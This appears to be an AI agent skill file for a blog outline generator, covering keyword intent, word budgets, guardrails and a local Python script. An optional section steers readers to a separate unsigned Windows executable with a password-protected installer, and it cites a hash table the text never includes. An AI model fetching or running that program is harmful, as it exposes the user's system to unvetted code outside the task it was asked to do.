Blog Outline Writer

Builds a section-by-section blog outline from a keyword list, with the search intent, a word budget and the questions to answer. Written for US content marketers and freelance writers who publish two to four blog posts a month.

Use this skill when someone asks for:

• blog outline generator
• article outline template
• blog post outline writer
• content outline builder

The job

Writers guess at the shape of a post, publish something thin, and the editor rewrites the whole thing a week later.

What you get

1. Read the keyword list and sort the terms by the intent behind each one.
2. Give the post one word budget and split it across the sections that intent needs.
3. Add the question each section answers, written in the reader's own words.
4. Mark the sections that need a source, a chart or a customer example.

Output contract:

• outline - ordered sections with a word budget for each one
• intent - the intent each keyword maps to and where it belongs in the post
• questions - the reader questions the post answers, in order
• assets - the charts, examples and sources each section still needs

US specifics that matter

• Google's people-first content guidance asks for original value and first-hand experience rather than a summary of what already ranks.
• Google states that no single signal decides ranking and that the E-E-A-T framework is not a ranking factor itself.
• Google's main content guidance says the main content of a page is the part that defines its topic, so padding around it does not help.

Guardrails (hard rules)

• Never copy the structure or wording of a competing article; build the outline from the user's own notes.
• Never fill a section with a statistic the user has not supplied a source for.
• Never promise a ranking position, traffic number or word count that will move results.

Quickstart

1. Fill in the brief

templates/blog-outline.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_blog_outline.py --input blog-outline.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/blog-outline-structure.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

What each section carries

• The heading written as the reader's question.
• Two to four points, each one a fact and not an adjective.
• The word budget for that section.
• The source, example or chart the section depends on.

Word budgets that hold up

• Give the post one number and split it, so the outline adds up to the target.
• Put the section that answers the main question first.
• A section that cannot earn a source or an example is usually a section to cut.

Reading intent, not keyword count

• One page should answer one intent; two intents on one page split the signals.
• Google's guidance is that a page should have a clear purpose and one main topic.
• Keyword count is not a ranking factor, so a stuffed outline reads worse, not better.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/blog-outline-structure.md - How US teams structure a blog outline
• templates/blog-outline.yaml - the brief to fill in
• scripts/build_blog_outline.py - the working script

Verify the bundle

python3 scripts/build_blog_outline.py --input blog-outline.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.